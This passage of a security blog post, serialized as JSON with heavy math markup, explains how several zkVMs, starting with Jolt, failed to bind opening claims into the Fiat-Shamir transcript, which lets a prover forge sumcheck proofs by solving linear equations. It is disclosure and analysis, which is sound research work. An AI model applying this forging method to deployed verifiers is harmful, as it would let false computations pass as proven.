[2675],[113791,113795,113800,113805,113810],{"type":23,"tag":141,"props":113792,"children":113794},{"className":113793,"style":2787},[2680],[],{"type":23,"tag":141,"props":113796,"children":113798},{"className":113797,"style":113675},[2686,20260],[113799],{"type":29,"value":113678},{"type":23,"tag":141,"props":113801,"children":113803},{"className":113802},[20411],[113804],{"type":29,"value":1788},{"type":23,"tag":141,"props":113806,"children":113808},{"className":113807},[2686],[113809],{"type":29,"value":3255},{"type":23,"tag":141,"props":113811,"children":113813},{"className":113812,"style":113620},[2686,20260],[113814],{"type":29,"value":113623},{"type":23,"tag":32,"props":113816,"children":113817},{},[113818],{"type":29,"value":113819},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":32,"props":113821,"children":113822},{},[113823,113825,113903],{"type":29,"value":113824},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":38,"props":113826,"children":113828},{"className":113827},[2658,2659],[113829],{"type":23,"tag":141,"props":113830,"children":113832},{"className":113831},[2664],[113833],{"type":23,"tag":141,"props":113834,"children":113836},{"className":113835,"ariaHidden":2670},[2669],[113837],{"type":23,"tag":141,"props":113838,"children":113840},{"className":113839},[2675],[113841,113846,113852,113857,113898],{"type":23,"tag":141,"props":113842,"children":113845},{"className":113843,"style":113844},[2680],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":141,"props":113847,"children":113849},{"className":113848,"style":91532},[2686,20260],[113850],{"type":29,"value":113851},"O",{"type":23,"tag":141,"props":113853,"children":113855},{"className":113854},[20389],[113856],{"type":29,"value":192},{"type":23,"tag":141,"props":113858,"children":113860},{"className":113859},[2686],[113861,113866],{"type":23,"tag":141,"props":113862,"children":113864},{"className":113863},[2686,20260],[113865],{"type":29,"value":54883},{"type":23,"tag":141,"props":113867,"children":113869},{"className":113868},[2702],[113870],{"type":23,"tag":141,"props":113871,"children":113873},{"className":113872},[2707],[113874],{"type":23,"tag":141,"props":113875,"children":113877},{"className":113876},[2712],[113878],{"type":23,"tag":141,"props":113879,"children":113881},{"className":113880,"style":2681},[2717],[113882],{"type":23,"tag":141,"props":113883,"children":113884},{"style":2721},[113885,113889],{"type":23,"tag":141,"props":113886,"children":113888},{"className":113887,"style":2727},[2726],[],{"type":23,"tag":141,"props":113890,"children":113892},{"className":113891},[2732,2733,2734,2735],[113893],{"type":23,"tag":141,"props":113894,"children":113896},{"className":113895},[2686,2735],[113897],{"type":29,"value":15972},{"type":23,"tag":141,"props":113899,"children":113901},{"className":113900},[20411],[113902],{"type":29,"value":1788},{"type":29,"value":113904}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":17463,"props":113906,"children":113907},{},[],{"type":23,"tag":24,"props":113909,"children":113911},{"id":113910},"the-six-broken-systems",[113912],{"type":29,"value":113913},"The Six Broken Systems",{"type":23,"tag":32,"props":113915,"children":113916},{},[113917],{"type":23,"tag":2591,"props":113918,"children":113921},{"alt":113919,"src":113920},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":32,"props":113923,"children":113924},{},[113925],{"type":29,"value":113926},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":17463,"props":113928,"children":113929},{},[],{"type":23,"tag":8287,"props":113931,"children":113933},{"id":113932},"jolt-a16z",[113934],{"type":29,"value":113935},"Jolt (a16z)",{"type":23,"tag":32,"props":113937,"children":113938},{},[113939],{"type":29,"value":113940},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":32,"props":113942,"children":113943},{},[113944],{"type":23,"tag":3998,"props":113945,"children":113946},{},[113947],{"type":29,"value":113948},"The proof structure:",{"type":23,"tag":131,"props":113950,"children":113952},{"code":113951},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[113953],{"type":23,"tag":38,"props":113954,"children":113955},{"__ignoreMap":7},[113956],{"type":29,"value":113951},{"type":23,"tag":32,"props":113958,"children":113959},{},[113960],{"type":23,"tag":3998,"props":113961,"children":113962},{},[113963],{"type":29,"value":113964},"The verification flow:",{"type":23,"tag":32,"props":113966,"children":113967},{},[113968],{"type":23,"tag":2591,"props":113969,"children":113972},{"alt":113970,"src":113971},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":32,"props":113974,"children":113975},{},[113976,113981,113983,113989,113991,113997,113999,114004],{"type":23,"tag":3998,"props":113977,"children":113978},{},[113979],{"type":29,"value":113980},"The bug:",{"type":29,"value":113982}," Each sumcheck instance provides an ",{"type":23,"tag":38,"props":113984,"children":113986},{"className":113985},[],[113987],{"type":29,"value":113988},"input_claim",{"type":29,"value":113990},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":38,"props":113992,"children":113994},{"className":113993},[],[113995],{"type":29,"value":113996},"opening_claims",{"type":29,"value":113998}," in the proof, but they were ",{"type":23,"tag":3998,"props":114000,"children":114001},{},[114002],{"type":29,"value":114003},"never absorbed into the transcript",{"type":29,"value":114005}," before the batching coefficients were derived.",{"type":23,"tag":32,"props":114007,"children":114008},{},[114009],{"type":23,"tag":2591,"props":114010,"children":114013},{"alt":114011,"src":114012},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":32,"props":114015,"children":114016},{},[114017],{"type":23,"tag":3998,"props":114018,"children":114019},{},[114020],{"type":29,"value":114021},"How sumcheck uses opening_claims:",{"type":23,"tag":32,"props":114023,"children":114024},{},[114025,114027,114033,114035,114112],{"type":29,"value":114026},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":38,"props":114028,"children":114030},{"className":114029},[],[114031],{"type":29,"value":114032},"BatchedClaim",{"type":29,"value":114034}," by taking a random linear combination of the individual claims ",{"type":23,"tag":38,"props":114036,"children":114038},{"className":114037},[2658,2659],[114039],{"type":23,"tag":141,"props":114040,"children":114042},{"className":114041},[2664],[114043],{"type":23,"tag":141,"props":114044,"children":114046},{"className":114045,"ariaHidden":2670},[2669],[114047],{"type":23,"tag":141,"props":114048,"children":114050},{"className":114049},[2675],[114051,114055],{"type":23,"tag":141,"props":114052,"children":114054},{"className":114053,"style":109529},[2680],[],{"type":23,"tag":141,"props":114056,"children":114058},{"className":114057},[2686],[114059,114064],{"type":23,"tag":141,"props":114060,"children":114062},{"className":114061,"style":91766},[2686,20260],[114063],{"type":29,"value":91769},{"type":23,"tag":141,"props":114065,"children":114067},{"className":114066},[2702],[114068],{"type":23,"tag":141,"props":114069,"children":114071},{"className":114070},[2707,20314],[114072,114101],{"type":23,"tag":141,"props":114073,"children":114075},{"className":114074},[2712],[114076,114096],{"type":23,"tag":141,"props":114077,"children":114079},{"className":114078,"style":92061},[2717],[114080],{"type":23,"tag":141,"props":114081,"children":114082},{"style":108961},[114083,114087],{"type":23,"tag":141,"props":114084,"children":114086},{"className":114085,"style":2727},[2726],[],{"type":23,"tag":141,"props":114088,"children":114090},{"className":114089},[2732,2733,2734,2735],[114091],{"type":23,"tag":141,"props":114092,"children":114094},{"className":114093},[2686,20260,2735],[114095],{"type":29,"value":2404},{"type":23,"tag":141,"props":114097,"children":114099},{"className":114098},[20417],[114100],{"type":29,"value":20420},{"type":23,"tag":141,"props":114102,"children":114104},{"className":114103},[2712],[114105],{"type":23,"tag":141,"props":114106,"children":114108},{"className":114107,"style":91615},[2717],[114109],{"type":23,"tag":141,"props":114110,"children":114111},{},[],{"type":29,"value":114},{"type":23,"tag":32,"props":114114,"children":114115},{},[114116],{"type":23,"tag":38,"props":114117,"children":114119},{"className":114118},[2658,2659],[114120],{"type":23,"tag":141,"props":114121,"children":114123},{"className":114122},[2664],[114124],{"type":23,"tag":141,"props":114125,"children":114127},{"className":114126,"ariaHidden":2670},[2669],[114128,114158,114299],{"type":23,"tag":141,"props":114129,"children":114131},{"className":114130},[2675],[114132,114136,114145,114149,114154],{"type":23,"tag":141,"props":114133,"children":114135},{"className":114134,"style":91447},[2680],[],{"type":23,"tag":141,"props":114137,"children":114139},{"className":114138},[2686,29],[114140],{"type":23,"tag":141,"props":114141,"children":114143},{"className":114142},[2686],[114144],{"type":29,"value":114032},{"type":23,"tag":141,"props":114146,"children":114148},{"className":114147,"style":2863},[2766],[],{"type":23,"tag":141,"props":114150,"children":114152},{"className":114151},[2868],[114153],{"type":29,"value":1377},{"type":23,"tag":141,"props":114155,"children":114157},{"className":114156,"style":2863},[2766],[],{"type":23,"tag":141,"props":114159,"children":114161},{"className":114160},[2675],[114162,114167,114224,114228,114286,114290,114295],{"type":23,"tag":141,"props":114163,"children":114166},{"className":114164,"style":114165},[2680],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":141,"props":114168,"children":114170},{"className":114169},[20296],[114171,114176],{"type":23,"tag":141,"props":114172,"children":114174},{"className":114173,"style":20303},[20296,20301,20302],[114175],{"type":29,"value":107327},{"type":23,"tag":141,"props":114177,"children":114179},{"className":114178},[2702],[114180],{"type":23,"tag":141,"props":114181,"children":114183},{"className":114182},[2707,20314],[114184,114213],{"type":23,"tag":141,"props":114185,"children":114187},{"className":114186},[2712],[114188,114208],{"type":23,"tag":141,"props":114189,"children":114191},{"className":114190,"style":112739},[2717],[114192],{"type":23,"tag":141,"props":114193,"children":114194},{"style":20327},[114195,114199],{"type":23,"tag":141,"props":114196,"children":114198},{"className":114197,"style":2727},[2726],[],{"type":23,"tag":141,"props":114200,"children":114202},{"className":114201},[2732,2733,2734,2735],[114203],{"type":23,"tag":141,"props":114204,"children":114206},{"className":114205},[2686,20260,2735],[114207],{"type":29,"value":2404},{"type":23,"tag":141,"props":114209,"children":114211},{"className":114210},[20417],[114212],{"type":29,"value":20420},{"type":23,"tag":141,"props":114214,"children":114216},{"className":114215},[2712],[114217],{"type":23,"tag":141,"props":114218,"children":114220},{"className":114219,"style":113019},[2717],[114221],{"type":23,"tag":141,"props":114222,"children":114223},{},[],{"type":23,"tag":141,"props":114225,"children":114227},{"className":114226,"style":2804},[2766],[],{"type":23,"tag":141,"props":114229,"children":114231},{"className":114230},[2686],[114232,114237],{"type":23,"tag":141,"props":114233,"children":114235},{"className":114234,"style":113620},[2686,20260],[114236],{"type":29,"value":113623},{"type":23,"tag":141,"props":114238,"children":114240},{"className":114239},[2702],[114241],{"type":23,"tag":141,"props":114242,"children":114244},{"className":114243},[2707,20314],[114245,114275],{"type":23,"tag":141,"props":114246,"children":114248},{"className":114247},[2712],[114249,114270],{"type":23,"tag":141,"props":114250,"children":114252},{"className":114251,"style":92061},[2717],[114253],{"type":23,"tag":141,"props":114254,"children":114256},{"style":114255},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[114257,114261],{"type":23,"tag":141,"props":114258,"children":114260},{"className":114259,"style":2727},[2726],[],{"type":23,"tag":141,"props":114262,"children":114264},{"className":114263},[2732,2733,2734,2735],[114265],{"type":23,"tag":141,"props":114266,"children":114268},{"className":114267},[2686,20260,2735],[114269],{"type":29,"value":2404},{"type":23,"tag":141,"props":114271,"children":114273},{"className":114272},[20417],[114274],{"type":29,"value":20420},{"type":23,"tag":141,"props":114276,"children":114278},{"className":114277},[2712],[114279],{"type":23,"tag":141,"props":114280,"children":114282},{"className":114281,"style":91615},[2717],[114283],{"type":23,"tag":141,"props":114284,"children":114285},{},[],{"type":23,"tag":141,"props":114287,"children":114289},{"className":114288,"style":2767},[2766],[],{"type":23,"tag":141,"props":114291,"children":114293},{"className":114292},[2772],[114294],{"type":29,"value":109794},{"type":23,"tag":141,"props":114296,"children":114298},{"className":114297,"style":2767},[2766],[],{"type":23,"tag":141,"props":114300,"children":114302},{"className":114301},[2675],[114303,114307],{"type":23,"tag":141,"props":114304,"children":114306},{"className":114305,"style":109529},[2680],[],{"type":23,"tag":141,"props":114308,"children":114310},{"className":114309},[2686],[114311,114316],{"type":23,"tag":141,"props":114312,"children":114314},{"className":114313,"style":91766},[2686,20260],[114315],{"type":29,"value":91769},{"type":23,"tag":141,"props":114317,"children":114319},{"className":114318},[2702],[114320],{"type":23,"tag":141,"props":114321,"children":114323},{"className":114322},[2707,20314],[114324,114353],{"type":23,"tag":141,"props":114325,"children":114327},{"className":114326},[2712],[114328,114348],{"type":23,"tag":141,"props":114329,"children":114331},{"className":114330,"style":92061},[2717],[114332],{"type":23,"tag":141,"props":114333,"children":114334},{"style":108961},[114335,114339],{"type":23,"tag":141,"props":114336,"children":114338},{"className":114337,"style":2727},[2726],[],{"type":23,"tag":141,"props":114340,"children":114342},{"className":114341},[2732,2733,2734,2735],[114343],{"type":23,"tag":141,"props":114344,"children":114346},{"className":114345},[2686,20260,2735],[114347],{"type":29,"value":2404},{"type":23,"tag":141,"props":114349,"children":114351},{"className":114350},[20417],[114352],{"type":29,"value":20420},{"type":23,"tag":141,"props":114354,"children":114356},{"className":114355},[2712],[114357],{"type":23,"tag":141,"props":114358,"children":114360},{"className":114359,"style":91615},[2717],[114361],{"type":23,"tag":141,"props":114362,"children":114363},{},[],{"type":23,"tag":32,"props":114365,"children":114366},{},[114367,114369,114446,114448,114453,114455,114532,114534,114611,114613,114690],{"type":29,"value":114368},"where ",{"type":23,"tag":38,"props":114370,"children":114372},{"className":114371},[2658,2659],[114373],{"type":23,"tag":141,"props":114374,"children":114376},{"className":114375},[2664],[114377],{"type":23,"tag":141,"props":114378,"children":114380},{"className":114379,"ariaHidden":2670},[2669],[114381],{"type":23,"tag":141,"props":114382,"children":114384},{"className":114383},[2675],[114385,114389],{"type":23,"tag":141,"props":114386,"children":114388},{"className":114387,"style":108502},[2680],[],{"type":23,"tag":141,"props":114390,"children":114392},{"className":114391},[2686],[114393,114398],{"type":23,"tag":141,"props":114394,"children":114396},{"className":114395,"style":113620},[2686,20260],[114397],{"type":29,"value":113623},{"type":23,"tag":141,"props":114399,"children":114401},{"className":114400},[2702],[114402],{"type":23,"tag":141,"props":114403,"children":114405},{"className":114404},[2707,20314],[114406,114435],{"type":23,"tag":141,"props":114407,"children":114409},{"className":114408},[2712],[114410,114430],{"type":23,"tag":141,"props":114411,"children":114413},{"className":114412,"style":92061},[2717],[114414],{"type":23,"tag":141,"props":114415,"children":114416},{"style":114255},[114417,114421],{"type":23,"tag":141,"props":114418,"children":114420},{"className":114419,"style":2727},[2726],[],{"type":23,"tag":141,"props":114422,"children":114424},{"className":114423},[2732,2733,2734,2735],[114425],{"type":23,"tag":141,"props":114426,"children":114428},{"className":114427},[2686,20260,2735],[114429],{"type":29,"value":2404},{"type":23,"tag":141,"props":114431,"children":114433},{"className":114432},[20417],[114434],{"type":29,"value":20420},{"type":23,"tag":141,"props":114436,"children":114438},{"className":114437},[2712],[114439],{"type":23,"tag":141,"props":114440,"children":114442},{"className":114441,"style":91615},[2717],[114443],{"type":23,"tag":141,"props":114444,"children":114445},{},[],{"type":29,"value":114447}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":38,"props":114449,"children":114451},{"className":114450},[],[114452],{"type":29,"value":113996},{"type":29,"value":114454}," (containing ",{"type":23,"tag":38,"props":114456,"children":114458},{"className":114457},[2658,2659],[114459],{"type":23,"tag":141,"props":114460,"children":114462},{"className":114461},[2664],[114463],{"type":23,"tag":141,"props":114464,"children":114466},{"className":114465,"ariaHidden":2670},[2669],[114467],{"type":23,"tag":141,"props":114468,"children":114470},{"className":114469},[2675],[114471,114475],{"type":23,"tag":141,"props":114472,"children":114474},{"className":114473,"style":109529},[2680],[],{"type":23,"tag":141,"props":114476,"children":114478},{"className":114477},[2686],[114479,114484],{"type":23,"tag":141,"props":114480,"children":114482},{"className":114481,"style":91766},[2686,20260],[114483],{"type":29,"value":91769},{"type":23,"tag":141,"props":114485,"children":114487},{"className":114486},[2702],[114488],{"type":23,"tag":141,"props":114489,"children":114491},{"className":114490},[2707,20314],[114492,114521],{"type":23,"tag":141,"props":114493,"children":114495},{"className":114494},[2712],[114496,114516],{"type":23,"tag":141,"props":114497,"children":114499},{"className":114498,"style":92061},[2717],[114500],{"type":23,"tag":141,"props":114501,"children":114502},{"style":108961},[114503,114507],{"type":23,"tag":141,"props":114504,"children":114506},{"className":114505,"style":2727},[2726],[],{"type":23,"tag":141,"props":114508,"children":114510},{"className":114509},[2732,2733,2734,2735],[114511],{"type":23,"tag":141,"props":114512,"children":114514},{"className":114513},[2686,20260,2735],[114515],{"type":29,"value":2404},{"type":23,"tag":141,"props":114517,"children":114519},{"className":114518},[20417],[114520],{"type":29,"value":20420},{"type":23,"tag":141,"props":114522,"children":114524},{"className":114523},[2712],[114525],{"type":23,"tag":141,"props":114526,"children":114528},{"className":114527,"style":91615},[2717],[114529],{"type":23,"tag":141,"props":114530,"children":114531},{},[],{"type":29,"value":114533},") were not in the transcript, the ",{"type":23,"tag":38,"props":114535,"children":114537},{"className":114536},[2658,2659],[114538],{"type":23,"tag":141,"props":114539,"children":114541},{"className":114540},[2664],[114542],{"type":23,"tag":141,"props":114543,"children":114545},{"className":114544,"ariaHidden":2670},[2669],[114546],{"type":23,"tag":141,"props":114547,"children":114549},{"className":114548},[2675],[114550,114554],{"type":23,"tag":141,"props":114551,"children":114553},{"className":114552,"style":108502},[2680],[],{"type":23,"tag":141,"props":114555,"children":114557},{"className":114556},[2686],[114558,114563],{"type":23,"tag":141,"props":114559,"children":114561},{"className":114560,"style":113620},[2686,20260],[114562],{"type":29,"value":113623},{"type":23,"tag":141,"props":114564,"children":114566},{"className":114565},[2702],[114567],{"type":23,"tag":141,"props":114568,"children":114570},{"className":114569},[2707,20314],[114571,114600],{"type":23,"tag":141,"props":114572,"children":114574},{"className":114573},[2712],[114575,114595],{"type":23,"tag":141,"props":114576,"children":114578},{"className":114577,"style":92061},[2717],[114579],{"type":23,"tag":141,"props":114580,"children":114581},{"style":114255},[114582,114586],{"type":23,"tag":141,"props":114583,"children":114585},{"className":114584,"style":2727},[2726],[],{"type":23,"tag":141,"props":114587,"children":114589},{"className":114588},[2732,2733,2734,2735],[114590],{"type":23,"tag":141,"props":114591,"children":114593},{"className":114592},[2686,20260,2735],[114594],{"type":29,"value":2404},{"type":23,"tag":141,"props":114596,"children":114598},{"className":114597},[20417],[114599],{"type":29,"value":20420},{"type":23,"tag":141,"props":114601,"children":114603},{"className":114602},[2712],[114604],{"type":23,"tag":141,"props":114605,"children":114607},{"className":114606,"style":91615},[2717],[114608],{"type":23,"tag":141,"props":114609,"children":114610},{},[],{"type":29,"value":114612}," values are independent of ",{"type":23,"tag":38,"props":114614,"children":114616},{"className":114615},[2658,2659],[114617],{"type":23,"tag":141,"props":114618,"children":114620},{"className":114619},[2664],[114621],{"type":23,"tag":141,"props":114622,"children":114624},{"className":114623,"ariaHidden":2670},[2669],[114625],{"type":23,"tag":141,"props":114626,"children":114628},{"className":114627},[2675],[114629,114633],{"type":23,"tag":141,"props":114630,"children":114632},{"className":114631,"style":109529},[2680],[],{"type":23,"tag":141,"props":114634,"children":114636},{"className":114635},[2686],[114637,114642],{"type":23,"tag":141,"props":114638,"children":114640},{"className":114639,"style":91766},[2686,20260],[114641],{"type":29,"value":91769},{"type":23,"tag":141,"props":114643,"children":114645},{"className":114644},[2702],[114646],{"type":23,"tag":141,"props":114647,"children":114649},{"className":114648},[2707,20314],[114650,114679],{"type":23,"tag":141,"props":114651,"children":114653},{"className":114652},[2712],[114654,114674],{"type":23,"tag":141,"props":114655,"children":114657},{"className":114656,"style":92061},[2717],[114658],{"type":23,"tag":141,"props":114659,"children":114660},{"style":108961},[114661,114665],{"type":23,"tag":141,"props":114662,"children":114664},{"className":114663,"style":2727},[2726],[],{"type":23,"tag":141,"props":114666,"children":114668},{"className":114667},[2732,2733,2734,2735],[114669],{"type":23,"tag":141,"props":114670,"children":114672},{"className":114671},[2686,20260,2735],[114673],{"type":29,"value":2404},{"type":23,"tag":141,"props":114675,"children":114677},{"className":114676},[20417],[114678],{"type":29,"value":20420},{"type":23,"tag":141,"props":114680,"children":114682},{"className":114681},[2712],[114683],{"type":23,"tag":141,"props":114684,"children":114686},{"className":114685,"style":91615},[2717],[114687],{"type":23,"tag":141,"props":114688,"children":114689},{},[],{"type":29,"value":322},{"type":23,"tag":32,"props":114692,"children":114693},{},[114694],{"type":23,"tag":3998,"props":114695,"children":114696},{},[114697],{"type":29,"value":114698},"Why it's linear:",{"type":23,"tag":32,"props":114700,"children":114701},{},[114702,114704],{"type":29,"value":114703},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":38,"props":114705,"children":114707},{"className":114706},[2658,2659],[114708],{"type":23,"tag":141,"props":114709,"children":114711},{"className":114710},[2664],[114712],{"type":23,"tag":141,"props":114713,"children":114715},{"className":114714,"ariaHidden":2670},[2669],[114716],{"type":23,"tag":141,"props":114717,"children":114719},{"className":114718},[2675],[114720,114724],{"type":23,"tag":141,"props":114721,"children":114723},{"className":114722,"style":20255},[2680],[],{"type":23,"tag":141,"props":114725,"children":114727},{"className":114726,"style":91766},[2686,20260],[114728],{"type":29,"value":91769},{"type":23,"tag":32,"props":114730,"children":114731},{},[114732],{"type":23,"tag":38,"props":114733,"children":114735},{"className":114734},[2658,2659],[114736],{"type":23,"tag":141,"props":114737,"children":114739},{"className":114738},[2664],[114740],{"type":23,"tag":141,"props":114741,"children":114743},{"className":114742,"ariaHidden":2670},[2669],[114744,114834,114860,114886],{"type":23,"tag":141,"props":114745,"children":114747},{"className":114746},[2675],[114748,114752,114821,114825,114830],{"type":23,"tag":141,"props":114749,"children":114751},{"className":114750,"style":109529},[2680],[],{"type":23,"tag":141,"props":114753,"children":114755},{"className":114754},[2686],[114756,114762],{"type":23,"tag":141,"props":114757,"children":114759},{"className":114758,"style":20792},[2686,20260],[114760],{"type":29,"value":114761},"C",{"type":23,"tag":141,"props":114763,"children":114765},{"className":114764},[2702],[114766],{"type":23,"tag":141,"props":114767,"children":114769},{"className":114768},[2707,20314],[114770,114810],{"type":23,"tag":141,"props":114771,"children":114773},{"className":114772},[2712],[114774,114805],{"type":23,"tag":141,"props":114775,"children":114778},{"className":114776,"style":114777},[2717],"height:0.3361em;",[114779],{"type":23,"tag":141,"props":114780,"children":114782},{"style":114781},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[114783,114787],{"type":23,"tag":141,"props":114784,"children":114786},{"className":114785,"style":2727},[2726],[],{"type":23,"tag":141,"props":114788,"children":114790},{"className":114789},[2732,2733,2734,2735],[114791],{"type":23,"tag":141,"props":114792,"children":114794},{"className":114793},[2686,2735],[114795],{"type":23,"tag":141,"props":114796,"children":114798},{"className":114797},[2686,29,2735],[114799],{"type":23,"tag":141,"props":114800,"children":114802},{"className":114801},[2686,2735],[114803],{"type":29,"value":114804},"final",{"type":23,"tag":141,"props":114806,"children":114808},{"className":114807},[20417],[114809],{"type":29,"value":20420},{"type":23,"tag":141,"props":114811,"children":114813},{"className":114812},[2712],[114814],{"type":23,"tag":141,"props":114815,"children":114817},{"className":114816,"style":91615},[2717],[114818],{"type":23,"tag":141,"props":114819,"children":114820},{},[],{"type":23,"tag":141,"props":114822,"children":114824},{"className":114823,"style":2863},[2766],[],{"type":23,"tag":141,"props":114826,"children":114828},{"className":114827},[2868],[114829],{"type":29,"value":1377},{"type":23,"tag":141,"props":114831,"children":114833},{"className":114832,"style":2863},[2766],[],{"type":23,"tag":141,"props":114835,"children":114837},{"className":114836},[2675],[114838,114842,114847,114851,114856],{"type":23,"tag":141,"props":114839,"children":114841},{"className":114840,"style":113615},[2680],[],{"type":23,"tag":141,"props":114843,"children":114845},{"className":114844},[2686,20260],[114846],{"type":29,"value":55},{"type":23,"tag":141,"props":114848,"children":114850},{"className":114849,"style":2767},[2766],[],{"type":23,"tag":141,"props":114852,"children":114854},{"className":114853},[2772],[114855],{"type":29,"value":109794},{"type":23,"tag":141,"props":114857,"children":114859},{"className":114858,"style":2767},[2766],[],{"type":23,"tag":141,"props":114861,"children":114863},{"className":114862},[2675],[114864,114868,114873,114877,114882],{"type":23,"tag":141,"props":114865,"children":114867},{"className":114866,"style":113644},[2680],[],{"type":23,"tag":141,"props":114869,"children":114871},{"className":114870,"style":91766},[2686,20260],[114872],{"type":29,"value":91769},{"type":23,"tag":141,"props":114874,"children":114876},{"className":114875,"style":2767},[2766],[],{"type":23,"tag":141,"props":114878,"children":114880},{"className":114879},[2772],[114881],{"type":29,"value":3058},{"type":23,"tag":141,"props":114883,"children":114885},{"className":114884,"style":2767},[2766],[],{"type":23,"tag":141,"props":114887,"children":114889},{"className":114888},[2675],[114890,114894],{"type":23,"tag":141,"props":114891,"children":114893},{"className":114892,"style":91447},[2680],[],{"type":23,"tag":141,"props":114895,"children":114897},{"className":114896},[2686,20260],[114898],{"type":29,"value":1883},{"type":23,"tag":32,"props":114900,"children":114901},{},[114902,114903,114942,114944,114969,114971,115101,115103,115224],{"type":29,"value":114368},{"type":23,"tag":38,"props":114904,"children":114906},{"className":114905},[2658,2659],[114907],{"type":23,"tag":141,"props":114908,"children":114910},{"className":114909},[2664],[114911],{"type":23,"tag":141,"props":114912,"children":114914},{"className":114913,"ariaHidden":2670},[2669],[114915],{"type":23,"tag":141,"props":114916,"children":114918},{"className":114917},[2675],[114919,114923,114928,114933,114937],{"type":23,"tag":141,"props":114920,"children":114922},{"className":114921,"style":113587},[2680],[],{"type":23,"tag":141,"props":114924,"children":114926},{"className":114925},[2686,20260],[114927],{"type":29,"value":55},{"type":23,"tag":141,"props":114929,"children":114931},{"className":114930},[2798],[114932],{"type":29,"value":512},{"type":23,"tag":141,"props":114934,"children":114936},{"className":114935,"style":2804},[2766],[],{"type":23,"tag":141,"props":114938,"children":114940},{"className":114939},[2686,20260],[114941],{"type":29,"value":1883},{"type":29,"value":114943}," are determined by the transcript (independent of ",{"type":23,"tag":38,"props":114945,"children":114947},{"className":114946},[2658,2659],[114948],{"type":23,"tag":141,"props":114949,"children":114951},{"className":114950},[2664],[114952],{"type":23,"tag":141,"props":114953,"children":114955},{"className":114954,"ariaHidden":2670},[2669],[114956],{"type":23,"tag":141,"props":114957,"children":114959},{"className":114958},[2675],[114960,114964],{"type":23,"tag":141,"props":114961,"children":114963},{"className":114962,"style":20255},[2680],[],{"type":23,"tag":141,"props":114965,"children":114967},{"className":114966,"style":91766},[2686,20260],[114968],{"type":29,"value":91769},{"type":29,"value":114970},"). The verifier checks that ",{"type":23,"tag":38,"props":114972,"children":114974},{"className":114973},[2658,2659],[114975],{"type":23,"tag":141,"props":114976,"children":114978},{"className":114977},[2664],[114979],{"type":23,"tag":141,"props":114980,"children":114982},{"className":114981,"ariaHidden":2670},[2669],[114983,115069],{"type":23,"tag":141,"props":114984,"children":114986},{"className":114985},[2675],[114987,114991,115056,115060,115065],{"type":23,"tag":141,"props":114988,"children":114990},{"className":114989,"style":109529},[2680],[],{"type":23,"tag":141,"props":114992,"children":114994},{"className":114993},[2686],[114995,115000],{"type":23,"tag":141,"props":114996,"children":114998},{"className":114997,"style":20792},[2686,20260],[114999],{"type":29,"value":114761},{"type":23,"tag":141,"props":115001,"children":115003},{"className":115002},[2702],[115004],{"type":23,"tag":141,"props":115005,"children":115007},{"className":115006},[2707,20314],[115008,115045],{"type":23,"tag":141,"props":115009,"children":115011},{"className":115010},[2712],[115012,115040],{"type":23,"tag":141,"props":115013,"children":115015},{"className":115014,"style":114777},[2717],[115016],{"type":23,"tag":141,"props":115017,"children":115018},{"style":114781},[115019,115023],{"type":23,"tag":141,"props":115020,"children":115022},{"className":115021,"style":2727},[2726],[],{"type":23,"tag":141,"props":115024,"children":115026},{"className":115025},[2732,2733,2734,2735],[115027],{"type":23,"tag":141,"props":115028,"children":115030},{"className":115029},[2686,2735],[115031],{"type":23,"tag":141,"props":115032,"children":115034},{"className":115033},[2686,29,2735],[115035],{"type":23,"tag":141,"props":115036,"children":115038},{"className":115037},[2686,2735],[115039],{"type":29,"value":114804},{"type":23,"tag":141,"props":115041,"children":115043},{"className":115042},[20417],[115044],{"type":29,"value":20420},{"type":23,"tag":141,"props":115046,"children":115048},{"className":115047},[2712],[115049],{"type":23,"tag":141,"props":115050,"children":115052},{"className":115051,"style":91615},[2717],[115053],{"type":23,"tag":141,"props":115054,"children":115055},{},[],{"type":23,"tag":141,"props":115057,"children":115059},{"className":115058,"style":2863},[2766],[],{"type":23,"tag":141,"props":115061,"children":115063},{"className":115062},[2868],[115064],{"type":29,"value":1377},{"type":23,"tag":141,"props":115066,"children":115068},{"className":115067,"style":2863},[2766],[],{"type":23,"tag":141,"props":115070,"children":115072},{"className":115071},[2675],[115073,115077,115087,115092],{"type":23,"tag":141,"props":115074,"children":115076},{"className":115075,"style":92945},[2680],[],{"type":23,"tag":141,"props":115078,"children":115080},{"className":115079},[2686,29],[115081],{"type":23,"tag":141,"props":115082,"children":115084},{"className":115083},[2686],[115085],{"type":29,"value":115086},"expected",{"type":23,"tag":141,"props":115088,"children":115090},{"className":115089,"style":91532},[2686],[115091],{"type":29,"value":1743},{"type":23,"tag":141,"props":115093,"children":115095},{"className":115094},[2686,29],[115096],{"type":23,"tag":141,"props":115097,"children":115099},{"className":115098},[2686],[115100],{"type":29,"value":36019},{"type":29,"value":115102}," (from PCS opening), this becomes 